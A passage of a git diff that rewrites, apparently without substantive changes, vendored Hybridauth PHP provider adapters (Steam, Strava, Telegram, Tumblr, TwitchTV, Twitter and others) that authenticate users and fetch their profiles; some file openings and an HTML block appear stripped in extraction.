+ { + $site = $this->config->get('site'); + + $response = $this->apiRequest('me', 'GET', [ + 'site' => $site, + 'access_token' => $this->getStoredData('access_token'), + ]); + + if (!$response || !isset($response->items) || !isset($response->items[0])) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $data = new Data\Collection($response->items[0]); + + $userProfile = new User\Profile(); + + $userProfile->identifier = strval($data->get('user_id')); + $userProfile->displayName = $data->get('display_name'); + $userProfile->photoURL = $data->get('profile_image'); + $userProfile->profileURL = $data->get('link'); + $userProfile->region = $data->get('location'); + $userProfile->age = $data->get('age'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/StackExchangeOpenID.php b/vendor/hybridauth/hybridauth/src/Provider/StackExchangeOpenID.php index b9085d2750..4e8d5763e7 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/StackExchangeOpenID.php +++ b/vendor/hybridauth/hybridauth/src/Provider/StackExchangeOpenID.php @@ -1,42 +1,42 @@ -storage->get($this->providerId . '.user'); - - $userProfile->identifier = !empty($userProfile->identifier) ? $userProfile->identifier : $userProfile->email; - $userProfile->emailVerified = $userProfile->email; - - // re store the user profile - $this->storage->set($this->providerId . '.user', $userProfile); - } -} +storage->get($this->providerId . '.user'); + + $userProfile->identifier = !empty($userProfile->identifier) ? $userProfile->identifier : $userProfile->email; + $userProfile->emailVerified = $userProfile->email; + + // re store the user profile + $this->storage->set($this->providerId . '.user', $userProfile); + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Steam.php b/vendor/hybridauth/hybridauth/src/Provider/Steam.php index 5fa790e65d..1288f0a740 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Steam.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Steam.php @@ -1,149 +1,149 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => ['secret' => 'steam-api-key'] - * ]; - * - * $adapter = new Hybridauth\Provider\Steam($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * } catch (\Exception $e) { - * echo $e->getMessage() ; - * } - */ -class Steam extends OpenID -{ - /** - * {@inheritdoc} - */ - protected $openidIdentifier = 'http://steamcommunity.com/openid'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = 'https://steamcommunity.com/dev'; - - /** - * {@inheritdoc} - */ - public function authenticateFinish() - { - parent::authenticateFinish(); - - $userProfile = $this->storage->get($this->providerId . '.user'); - - $userProfile->identifier = str_ireplace([ - 'http://steamcommunity.com/openid/id/', - 'https://steamcommunity.com/openid/id/', - ], '', $userProfile->identifier); - - if (!$userProfile->identifier) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - try { - $apiKey = $this->config->filter('keys')->get('secret'); - - // if api key is provided, we attempt to use steam web api - if ($apiKey) { - $result = $this->getUserProfileWebAPI($apiKey, $userProfile->identifier); - } else { - // otherwise we fallback to community data - $result = $this->getUserProfileLegacyAPI($userProfile->identifier); - } - - // fetch user profile - foreach ($result as $k => $v) { - $userProfile->$k = $v ?: $userProfile->$k; - } - } catch (\Exception $e) { - } - - // store user profile - $this->storage->set($this->providerId . '.user', $userProfile); - } - - /** - * Fetch user profile on Steam web API - * - * @param $apiKey - * @param $steam64 - * - * @return array - */ - public function getUserProfileWebAPI($apiKey, $steam64) - { - $q = http_build_query(['key' => $apiKey, 'steamids' => $steam64]); - $apiUrl = 'http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?' . $q; - - $response = $this->httpClient->request($apiUrl); - - $data = json_decode($response); - - $data = isset($data->response->players[0]) ? $data->response->players[0] : null; - - $data = new Data\Collection($data); - - $userProfile = []; - - $userProfile['displayName'] = (string)$data->get('personaname'); - $userProfile['firstName'] = (string)$data->get('realname'); - $userProfile['photoURL'] = (string)$data->get('avatarfull'); - $userProfile['profileURL'] = (string)$data->get('profileurl'); - $userProfile['country'] = (string)$data->get('loccountrycode'); - - return $userProfile; - } - - /** - * Fetch user profile on community API - * @param $steam64 - * @return array - */ - public function getUserProfileLegacyAPI($steam64) - { - libxml_use_internal_errors(false); - - $apiUrl = 'http://steamcommunity.com/profiles/' . $steam64 . '/?xml=1'; - - $response = $this->httpClient->request($apiUrl); - - $data = new \SimpleXMLElement($response); - - $data = new Data\Collection($data); - - $userProfile = []; - - $userProfile['displayName'] = (string)$data->get('steamID'); - $userProfile['firstName'] = (string)$data->get('realname'); - $userProfile['photoURL'] = (string)$data->get('avatarFull'); - $userProfile['description'] = (string)$data->get('summary'); - $userProfile['region'] = (string)$data->get('location'); - $userProfile['profileURL'] = (string)$data->get('customURL') - ? 'http://steamcommunity.com/id/' . (string)$data->get('customURL') - : 'http://steamcommunity.com/profiles/' . $steam64; - - return $userProfile; - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => ['secret' => 'steam-api-key'] + * ]; + * + * $adapter = new Hybridauth\Provider\Steam($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * } catch (\Exception $e) { + * echo $e->getMessage() ; + * } + */ +class Steam extends OpenID +{ + /** + * {@inheritdoc} + */ + protected $openidIdentifier = 'http://steamcommunity.com/openid'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = 'https://steamcommunity.com/dev'; + + /** + * {@inheritdoc} + */ + public function authenticateFinish() + { + parent::authenticateFinish(); + + $userProfile = $this->storage->get($this->providerId . '.user'); + + $userProfile->identifier = str_ireplace([ + 'http://steamcommunity.com/openid/id/', + 'https://steamcommunity.com/openid/id/', + ], '', $userProfile->identifier); + + if (!$userProfile->identifier) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + try { + $apiKey = $this->config->filter('keys')->get('secret'); + + // if api key is provided, we attempt to use steam web api + if ($apiKey) { + $result = $this->getUserProfileWebAPI($apiKey, $userProfile->identifier); + } else { + // otherwise we fallback to community data + $result = $this->getUserProfileLegacyAPI($userProfile->identifier); + } + + // fetch user profile + foreach ($result as $k => $v) { + $userProfile->$k = $v ?: $userProfile->$k; + } + } catch (\Exception $e) { + } + + // store user profile + $this->storage->set($this->providerId . '.user', $userProfile); + } + + /** + * Fetch user profile on Steam web API + * + * @param $apiKey + * @param $steam64 + * + * @return array + */ + public function getUserProfileWebAPI($apiKey, $steam64) + { + $q = http_build_query(['key' => $apiKey, 'steamids' => $steam64]); + $apiUrl = 'http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?' . $q; + + $response = $this->httpClient->request($apiUrl); + + $data = json_decode($response); + + $data = isset($data->response->players[0]) ? $data->response->players[0] : null; + + $data = new Data\Collection($data); + + $userProfile = []; + + $userProfile['displayName'] = (string)$data->get('personaname'); + $userProfile['firstName'] = (string)$data->get('realname'); + $userProfile['photoURL'] = (string)$data->get('avatarfull'); + $userProfile['profileURL'] = (string)$data->get('profileurl'); + $userProfile['country'] = (string)$data->get('loccountrycode'); + + return $userProfile; + } + + /** + * Fetch user profile on community API + * @param $steam64 + * @return array + */ + public function getUserProfileLegacyAPI($steam64) + { + libxml_use_internal_errors(false); + + $apiUrl = 'http://steamcommunity.com/profiles/' . $steam64 . '/?xml=1'; + + $response = $this->httpClient->request($apiUrl); + + $data = new \SimpleXMLElement($response); + + $data = new Data\Collection($data); + + $userProfile = []; + + $userProfile['displayName'] = (string)$data->get('steamID'); + $userProfile['firstName'] = (string)$data->get('realname'); + $userProfile['photoURL'] = (string)$data->get('avatarFull'); + $userProfile['description'] = (string)$data->get('summary'); + $userProfile['region'] = (string)$data->get('location'); + $userProfile['profileURL'] = (string)$data->get('customURL') + ? 'http://steamcommunity.com/id/' . (string)$data->get('customURL') + : 'http://steamcommunity.com/profiles/' . $steam64; + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/SteemConnect.php b/vendor/hybridauth/hybridauth/src/Provider/SteemConnect.php index f32931c3ea..2bc0e5d1e9 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/SteemConnect.php +++ b/vendor/hybridauth/hybridauth/src/Provider/SteemConnect.php @@ -1,70 +1,70 @@ -apiRequest('api/me'); - - $data = new Data\Collection($response); - - if (!$data->exists('result')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $data = $data->filter('result'); - - $userProfile->identifier = $data->get('id'); - $userProfile->description = $data->get('about'); - $userProfile->photoURL = $data->get('profile_image'); - $userProfile->webSiteURL = $data->get('website'); - $userProfile->displayName = $data->get('name'); - - return $userProfile; - } -} +apiRequest('api/me'); + + $data = new Data\Collection($response); + + if (!$data->exists('result')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $data = $data->filter('result'); + + $userProfile->identifier = $data->get('id'); + $userProfile->description = $data->get('about'); + $userProfile->photoURL = $data->get('profile_image'); + $userProfile->webSiteURL = $data->get('website'); + $userProfile->displayName = $data->get('name'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Strava.php b/vendor/hybridauth/hybridauth/src/Provider/Strava.php index 50ccab6aa3..f98cc3ab6a 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Strava.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Strava.php @@ -1,72 +1,72 @@ -apiRequest('athlete'); - - $data = new Data\Collection($response); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->firstName = $data->get('firstname'); - $userProfile->lastName = $data->get('lastname'); - $userProfile->gender = $data->get('sex'); - $userProfile->country = $data->get('country'); - $userProfile->city = $data->get('city'); - $userProfile->email = $data->get('email'); - - $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); - - return $userProfile; - } -} +apiRequest('athlete'); + + $data = new Data\Collection($response); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->firstName = $data->get('firstname'); + $userProfile->lastName = $data->get('lastname'); + $userProfile->gender = $data->get('sex'); + $userProfile->country = $data->get('country'); + $userProfile->city = $data->get('city'); + $userProfile->email = $data->get('email'); + + $userProfile->displayName = $userProfile->displayName ?: $data->get('username'); + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Telegram.php b/vendor/hybridauth/hybridauth/src/Provider/Telegram.php index e22ad237ec..059f34dba5 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Telegram.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Telegram.php @@ -1,221 +1,221 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => ['id' => 'your_bot_name', 'secret' => 'your_bot_token'], - * ]; - * - * $adapter = new Hybridauth\Provider\Telegram($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * } catch (\Exception $e) { - * print $e->getMessage(); - * } - */ -class Telegram extends AbstractAdapter implements AdapterInterface -{ - protected $botId = ''; - - protected $botSecret = ''; - - protected $callbackUrl = ''; - - /** - * IPD API Documentation - * - * OPTIONAL. - * - * @var string - */ - protected $apiDocumentation = 'https://core.telegram.org/bots'; - - /** - * {@inheritdoc} - */ - protected function configure() - { - $this->botId = $this->config->filter('keys')->get('id'); - $this->botSecret = $this->config->filter('keys')->get('secret'); - $this->callbackUrl = $this->config->get('callback'); - - if (!$this->botId || !$this->botSecret) { - throw new InvalidApplicationCredentialsException( - 'Your application id is required in order to connect to ' . $this->providerId - ); - } - } - - /** - * {@inheritdoc} - */ - protected function initialize() - { - } - - /** - * {@inheritdoc} - */ - public function authenticate() - { - $this->logger->info(sprintf('%s::authenticate()', get_class($this))); - if (!filter_input(INPUT_GET, 'hash')) { - $this->authenticateBegin(); - } else { - $this->authenticateCheckError(); - $this->authenticateFinish(); - } - return null; - } - - /** - * {@inheritdoc} - */ - public function isConnected() - { - $authData = $this->getStoredData('auth_data'); - return !empty($authData); - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $data = new Collection($this->getStoredData('auth_data')); - - if (!$data->exists('id')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new Profile(); - - $userProfile->identifier = $data->get('id'); - $userProfile->firstName = $data->get('first_name'); - $userProfile->lastName = $data->get('last_name'); - $userProfile->displayName = $data->get('username'); - $userProfile->photoURL = $data->get('photo_url'); - $username = $data->get('username'); - if (!empty($username)) { - // Only some accounts have usernames. - $userProfile->profileURL = "https://t.me/{$username}"; - } - - return $userProfile; - } - - /** - * See: https://telegram.im/widget-login.php - * See: https://gist.github.com/anonymous/6516521b1fb3b464534fbc30ea3573c2 - */ - protected function authenticateCheckError() - { - $auth_data = $this->parseAuthData(); - - $check_hash = $auth_data['hash']; - unset($auth_data['hash']); - $data_check_arr = []; - - foreach ($auth_data as $key => $value) { - if (!empty($value)) { - $data_check_arr[] = $key . '=' . $value; - } - } - sort($data_check_arr); - - $data_check_string = implode("\n", $data_check_arr); - $secret_key = hash('sha256', $this->botSecret, true); - $hash = hash_hmac('sha256', $data_check_string, $secret_key); - - if (strcmp($hash, $check_hash) !== 0) { - throw new InvalidAuthorizationCodeException( - sprintf('Provider returned an error: %s', 'Data is NOT from Telegram') - ); - } - - if ((time() - $auth_data['auth_date']) > 86400) { - throw new InvalidAuthorizationCodeException( - sprintf('Provider returned an error: %s', 'Data is outdated') - ); - } - } - - /** - * See: https://telegram.im/widget-login.php - */ - protected function authenticateBegin() - { - $this->logger->debug(sprintf('%s::authenticateBegin(), redirecting user to:', get_class($this))); - - $nonce = $this->config->get('nonce'); - $nonce_code = empty($nonce) ? '' : "nonce=\"{$nonce}\""; - - exit( - << - -
                                -HTML - ); - } - - protected function authenticateFinish() - { - $this->logger->debug( - sprintf('%s::authenticateFinish(), callback url:', get_class($this)), - [Util::getCurrentUrl(true)] - ); - - $this->storeData('auth_data', $this->parseAuthData()); - - $this->initialize(); - } - - protected function parseAuthData() - { - return [ - 'id' => filter_input(INPUT_GET, 'id'), - 'first_name' => filter_input(INPUT_GET, 'first_name'), - 'last_name' => filter_input(INPUT_GET, 'last_name'), - 'username' => filter_input(INPUT_GET, 'username'), - 'photo_url' => filter_input(INPUT_GET, 'photo_url'), - 'auth_date' => filter_input(INPUT_GET, 'auth_date'), - 'hash' => filter_input(INPUT_GET, 'hash'), - ]; - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => ['id' => 'your_bot_name', 'secret' => 'your_bot_token'], + * ]; + * + * $adapter = new Hybridauth\Provider\Telegram($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * } catch (\Exception $e) { + * print $e->getMessage(); + * } + */ +class Telegram extends AbstractAdapter implements AdapterInterface +{ + protected $botId = ''; + + protected $botSecret = ''; + + protected $callbackUrl = ''; + + /** + * IPD API Documentation + * + * OPTIONAL. + * + * @var string + */ + protected $apiDocumentation = 'https://core.telegram.org/bots'; + + /** + * {@inheritdoc} + */ + protected function configure() + { + $this->botId = $this->config->filter('keys')->get('id'); + $this->botSecret = $this->config->filter('keys')->get('secret'); + $this->callbackUrl = $this->config->get('callback'); + + if (!$this->botId || !$this->botSecret) { + throw new InvalidApplicationCredentialsException( + 'Your application id is required in order to connect to ' . $this->providerId + ); + } + } + + /** + * {@inheritdoc} + */ + protected function initialize() + { + } + + /** + * {@inheritdoc} + */ + public function authenticate() + { + $this->logger->info(sprintf('%s::authenticate()', get_class($this))); + if (!filter_input(INPUT_GET, 'hash')) { + $this->authenticateBegin(); + } else { + $this->authenticateCheckError(); + $this->authenticateFinish(); + } + return null; + } + + /** + * {@inheritdoc} + */ + public function isConnected() + { + $authData = $this->getStoredData('auth_data'); + return !empty($authData); + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $data = new Collection($this->getStoredData('auth_data')); + + if (!$data->exists('id')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new Profile(); + + $userProfile->identifier = $data->get('id'); + $userProfile->firstName = $data->get('first_name'); + $userProfile->lastName = $data->get('last_name'); + $userProfile->displayName = $data->get('username'); + $userProfile->photoURL = $data->get('photo_url'); + $username = $data->get('username'); + if (!empty($username)) { + // Only some accounts have usernames. + $userProfile->profileURL = "https://t.me/{$username}"; + } + + return $userProfile; + } + + /** + * See: https://telegram.im/widget-login.php + * See: https://gist.github.com/anonymous/6516521b1fb3b464534fbc30ea3573c2 + */ + protected function authenticateCheckError() + { + $auth_data = $this->parseAuthData(); + + $check_hash = $auth_data['hash']; + unset($auth_data['hash']); + $data_check_arr = []; + + foreach ($auth_data as $key => $value) { + if (!empty($value)) { + $data_check_arr[] = $key . '=' . $value; + } + } + sort($data_check_arr); + + $data_check_string = implode("\n", $data_check_arr); + $secret_key = hash('sha256', $this->botSecret, true); + $hash = hash_hmac('sha256', $data_check_string, $secret_key); + + if (strcmp($hash, $check_hash) !== 0) { + throw new InvalidAuthorizationCodeException( + sprintf('Provider returned an error: %s', 'Data is NOT from Telegram') + ); + } + + if ((time() - $auth_data['auth_date']) > 86400) { + throw new InvalidAuthorizationCodeException( + sprintf('Provider returned an error: %s', 'Data is outdated') + ); + } + } + + /** + * See: https://telegram.im/widget-login.php + */ + protected function authenticateBegin() + { + $this->logger->debug(sprintf('%s::authenticateBegin(), redirecting user to:', get_class($this))); + + $nonce = $this->config->get('nonce'); + $nonce_code = empty($nonce) ? '' : "nonce=\"{$nonce}\""; + + exit( + << + + +HTML + ); + } + + protected function authenticateFinish() + { + $this->logger->debug( + sprintf('%s::authenticateFinish(), callback url:', get_class($this)), + [Util::getCurrentUrl(true)] + ); + + $this->storeData('auth_data', $this->parseAuthData()); + + $this->initialize(); + } + + protected function parseAuthData() + { + return [ + 'id' => filter_input(INPUT_GET, 'id'), + 'first_name' => filter_input(INPUT_GET, 'first_name'), + 'last_name' => filter_input(INPUT_GET, 'last_name'), + 'username' => filter_input(INPUT_GET, 'username'), + 'photo_url' => filter_input(INPUT_GET, 'photo_url'), + 'auth_date' => filter_input(INPUT_GET, 'auth_date'), + 'hash' => filter_input(INPUT_GET, 'hash'), + ]; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Tumblr.php b/vendor/hybridauth/hybridauth/src/Provider/Tumblr.php index d25624829d..9f899f150c 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Tumblr.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Tumblr.php @@ -1,97 +1,97 @@ -apiRequest('user/info'); - - $data = new Data\Collection($response); - - if (!$data->exists('response')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->displayName = $data->filter('response')->filter('user')->get('name'); - - foreach ($data->filter('response')->filter('user')->filter('blogs')->toArray() as $blog) { - $blog = new Data\Collection($blog); - - if ($blog->get('primary') && $blog->exists('url')) { - $userProfile->identifier = $blog->get('url'); - $userProfile->profileURL = $blog->get('url'); - $userProfile->webSiteURL = $blog->get('url'); - $userProfile->description = strip_tags($blog->get('description')); - - $bloghostname = explode('://', $blog->get('url')); - $bloghostname = substr($bloghostname[1], 0, -1); - - // store user's primary blog which will be used as target by setUserStatus - $this->storeData('primary_blog', $bloghostname); - - break; - } - } - - return $userProfile; - } - - /** - * {@inheritdoc} - */ - public function setUserStatus($status) - { - $status = is_string($status) - ? ['type' => 'text', 'body' => $status] - : $status; - - $response = $this->apiRequest('blog/' . $this->getStoredData('primary_blog') . '/post', 'POST', $status); - - return $response; - } -} +apiRequest('user/info'); + + $data = new Data\Collection($response); + + if (!$data->exists('response')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + $userProfile->displayName = $data->filter('response')->filter('user')->get('name'); + + foreach ($data->filter('response')->filter('user')->filter('blogs')->toArray() as $blog) { + $blog = new Data\Collection($blog); + + if ($blog->get('primary') && $blog->exists('url')) { + $userProfile->identifier = $blog->get('url'); + $userProfile->profileURL = $blog->get('url'); + $userProfile->webSiteURL = $blog->get('url'); + $userProfile->description = strip_tags($blog->get('description')); + + $bloghostname = explode('://', $blog->get('url')); + $bloghostname = substr($bloghostname[1], 0, -1); + + // store user's primary blog which will be used as target by setUserStatus + $this->storeData('primary_blog', $bloghostname); + + break; + } + } + + return $userProfile; + } + + /** + * {@inheritdoc} + */ + public function setUserStatus($status) + { + $status = is_string($status) + ? ['type' => 'text', 'body' => $status] + : $status; + + $response = $this->apiRequest('blog/' . $this->getStoredData('primary_blog') . '/post', 'POST', $status); + + return $response; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/TwitchTV.php b/vendor/hybridauth/hybridauth/src/Provider/TwitchTV.php index 54648befba..ae54cbf5f4 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/TwitchTV.php +++ b/vendor/hybridauth/hybridauth/src/Provider/TwitchTV.php @@ -1,82 +1,82 @@ -apiRequestHeaders['Client-ID'] = $this->clientId; - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('users'); - - $data = new Data\Collection($response); - - if (!$data->exists('data')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $users = $data->filter('data')->values(); - $user = new Data\Collection($users[0]); - - $userProfile = new User\Profile(); - - $userProfile->identifier = $user->get('id'); - $userProfile->displayName = $user->get('display_name'); - $userProfile->photoURL = $user->get('profile_image_url'); - $userProfile->email = $user->get('email'); - $userProfile->description = strip_tags($user->get('description')); - $userProfile->profileURL = "https://www.twitch.tv/{$userProfile->displayName}"; - - return $userProfile; - } -} +apiRequestHeaders['Client-ID'] = $this->clientId; + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('users'); + + $data = new Data\Collection($response); + + if (!$data->exists('data')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $users = $data->filter('data')->values(); + $user = new Data\Collection($users[0]); + + $userProfile = new User\Profile(); + + $userProfile->identifier = $user->get('id'); + $userProfile->displayName = $user->get('display_name'); + $userProfile->photoURL = $user->get('profile_image_url'); + $userProfile->email = $user->get('email'); + $userProfile->description = strip_tags($user->get('description')); + $userProfile->profileURL = "https://www.twitch.tv/{$userProfile->displayName}"; + + return $userProfile; + } +} diff --git a/vendor/hybridauth/hybridauth/src/Provider/Twitter.php b/vendor/hybridauth/hybridauth/src/Provider/Twitter.php index dca55185f1..e118f7269a 100644 --- a/vendor/hybridauth/hybridauth/src/Provider/Twitter.php +++ b/vendor/hybridauth/hybridauth/src/Provider/Twitter.php @@ -1,264 +1,264 @@ - Hybridauth\HttpClient\Util::getCurrentUrl(), - * 'keys' => ['key' => '', 'secret' => ''], // OAuth1 uses 'key' not 'id' - * 'authorize' => true // Needed to perform actions on behalf of users (see below link) - * // https://developer.twitter.com/en/docs/authentication/oauth-1-0a/obtaining-user-access-tokens - * ]; - * - * $adapter = new Hybridauth\Provider\Twitter($config); - * - * try { - * $adapter->authenticate(); - * - * $userProfile = $adapter->getUserProfile(); - * $tokens = $adapter->getAccessToken(); - * $contacts = $adapter->getUserContacts(['screen_name' =>'andypiper']); // get those of @andypiper - * $activity = $adapter->getUserActivity('me'); - * } catch (\Exception $e) { - * echo $e->getMessage() ; - * } - */ -class Twitter extends OAuth1 -{ - /** - * {@inheritdoc} - */ - protected $apiBaseUrl = 'https://api.twitter.com/1.1/'; - - /** - * {@inheritdoc} - */ - protected $authorizeUrl = 'https://api.twitter.com/oauth/authenticate'; - - /** - * {@inheritdoc} - */ - protected $requestTokenUrl = 'https://api.twitter.com/oauth/request_token'; - - /** - * {@inheritdoc} - */ - protected $accessTokenUrl = 'https://api.twitter.com/oauth/access_token'; - - /** - * {@inheritdoc} - */ - protected $apiDocumentation = 'https://dev.twitter.com/web/sign-in/implementing'; - - /** - * {@inheritdoc} - */ - protected function getAuthorizeUrl($parameters = []) - { - if ($this->config->get('authorize') === true) { - $this->authorizeUrl = 'https://api.twitter.com/oauth/authorize'; - } - - return parent::getAuthorizeUrl($parameters); - } - - /** - * {@inheritdoc} - */ - public function getUserProfile() - { - $response = $this->apiRequest('account/verify_credentials.json', 'GET', [ - 'include_email' => $this->config->get('include_email') === false ? 'false' : 'true', - ]); - - $data = new Data\Collection($response); - - if (!$data->exists('id_str')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - $userProfile = new User\Profile(); - - $userProfile->identifier = $data->get('id_str'); - $userProfile->displayName = $data->get('screen_name'); - $userProfile->description = $data->get('description'); - $userProfile->firstName = $data->get('name'); - $userProfile->email = $data->get('email'); - $userProfile->emailVerified = $data->get('email'); - $userProfile->webSiteURL = $data->get('url'); - $userProfile->region = $data->get('location'); - - $userProfile->profileURL = $data->exists('screen_name') - ? ('http://twitter.com/' . $data->get('screen_name')) - : ''; - - $photoSize = $this->config->get('photo_size') ?: 'original'; - $photoSize = $photoSize === 'original' ? '' : "_{$photoSize}"; - $userProfile->photoURL = $data->exists('profile_image_url_https') - ? str_replace('_normal', $photoSize, $data->get('profile_image_url_https')) - : ''; - - $userProfile->data = [ - 'followed_by' => $data->get('followers_count'), - 'follows' => $data->get('friends_count'), - ]; - - return $userProfile; - } - - /** - * {@inheritdoc} - */ - public function getUserContacts($parameters = []) - { - $parameters = ['cursor' => '-1'] + $parameters; - - $response = $this->apiRequest('friends/ids.json', 'GET', $parameters); - - $data = new Data\Collection($response); - - if (!$data->exists('ids')) { - throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); - } - - if ($data->filter('ids')->isEmpty()) { - return []; - } - - $contacts = []; - - // 75 id per time should be okey - $contactsIds = array_chunk((array)$data->get('ids'), 75); - - foreach ($contactsIds as $chunk) { - $parameters = ['user_id' => implode(',', $chunk)]; - - try { - $response = $this->apiRequest('users/lookup.json', 'GET', $parameters); - - if ($response && count($response)) { - foreach ($response as $item) { - $contacts[] = $this->fetchUserContact($item); - } - } - } catch (\Exception $e) { - continue; - } - } - - return $contacts; - } - - /** - * @param $item - * - * @return User\Contact - */ - protected function fetchUserContact($item) - { - $item = new Data\Collection($item); - - $userContact = new User\Contact(); - - $userContact->identifier = $item->get('id_str'); - $userContact->displayName = $item->get('name'); - $userContact->photoURL = $item->get('profile_image_url'); - $userContact->description = $item->get('description'); - - $userContact->profileURL = $item->exists('screen_name') - ? ('http://twitter.com/' . $item->get('screen_name')) - : ''; - - return $userContact; - } - - /** - * {@inheritdoc} - */ - public function setUserStatus($status) - { - if (is_string($status)) { - $status = ['status' => $status]; - } - - // Prepare request parameters. - $params = []; - if (isset($status['status'])) { - $params['status'] = $status['status']; - } - if (isset($status['picture'])) { - $media = $this->apiRequest('https://upload.twitter.com/1.1/media/upload.json', 'POST', [ - 'media' => base64_encode(file_get_contents($status['picture'])), - ]); - $params['media_ids'] = $media->media_id; - } - - $response = $this->apiRequest('statuses/update.json', 'POST', $params); - - return $response; - } - - /** - * {@inheritdoc} - */ - public function getUserActivity($stream = 'me') - { - $apiUrl = ($stream == 'me') - ? 'statuses/user_timeline.json' - : 'statuses/home_timeline.json'; - - $response = $this->apiRequest($apiUrl); - - if (!$response) { - return []; - } - - $activities = []; - - foreach ($response as $item) { - $activities[] = $this->fetchUserActivity($item); - } - - return $activities; - } - - /** - * @param $item - * @return User\Activity - */ - protected function fetchUserActivity($item) - { - $item = new Data\Collection($item); - - $userActivity = new User\Activity(); - - $userActivity->id = $item->get('id_str'); - $userActivity->date = $item->get('created_at'); - $userActivity->text = $item->get('text'); - - $userActivity->user->identifier = $item->filter('user')->get('id_str'); - $userActivity->user->displayName = $item->filter('user')->get('name'); - $userActivity->user->photoURL = $item->filter('user')->get('profile_image_url'); - - $userActivity->user->profileURL = $item->filter('user')->get('screen_name') - ? ('http://twitter.com/' . $item->filter('user')->get('screen_name')) - : ''; - - return $userActivity; - } -} + Hybridauth\HttpClient\Util::getCurrentUrl(), + * 'keys' => ['key' => '', 'secret' => ''], // OAuth1 uses 'key' not 'id' + * 'authorize' => true // Needed to perform actions on behalf of users (see below link) + * // https://developer.twitter.com/en/docs/authentication/oauth-1-0a/obtaining-user-access-tokens + * ]; + * + * $adapter = new Hybridauth\Provider\Twitter($config); + * + * try { + * $adapter->authenticate(); + * + * $userProfile = $adapter->getUserProfile(); + * $tokens = $adapter->getAccessToken(); + * $contacts = $adapter->getUserContacts(['screen_name' =>'andypiper']); // get those of @andypiper + * $activity = $adapter->getUserActivity('me'); + * } catch (\Exception $e) { + * echo $e->getMessage() ; + * } + */ +class Twitter extends OAuth1 +{ + /** + * {@inheritdoc} + */ + protected $apiBaseUrl = 'https://api.twitter.com/1.1/'; + + /** + * {@inheritdoc} + */ + protected $authorizeUrl = 'https://api.twitter.com/oauth/authenticate'; + + /** + * {@inheritdoc} + */ + protected $requestTokenUrl = 'https://api.twitter.com/oauth/request_token'; + + /** + * {@inheritdoc} + */ + protected $accessTokenUrl = 'https://api.twitter.com/oauth/access_token'; + + /** + * {@inheritdoc} + */ + protected $apiDocumentation = 'https://dev.twitter.com/web/sign-in/implementing'; + + /** + * {@inheritdoc} + */ + protected function getAuthorizeUrl($parameters = []) + { + if ($this->config->get('authorize') === true) { + $this->authorizeUrl = 'https://api.twitter.com/oauth/authorize'; + } + + return parent::getAuthorizeUrl($parameters); + } + + /** + * {@inheritdoc} + */ + public function getUserProfile() + { + $response = $this->apiRequest('account/verify_credentials.json', 'GET', [ + 'include_email' => $this->config->get('include_email') === false ? 'false' : 'true', + ]); + + $data = new Data\Collection($response); + + if (!$data->exists('id_str')) { + throw new UnexpectedApiResponseException('Provider API returned an unexpected response.'); + } + + $userProfile = new User\Profile(); + + 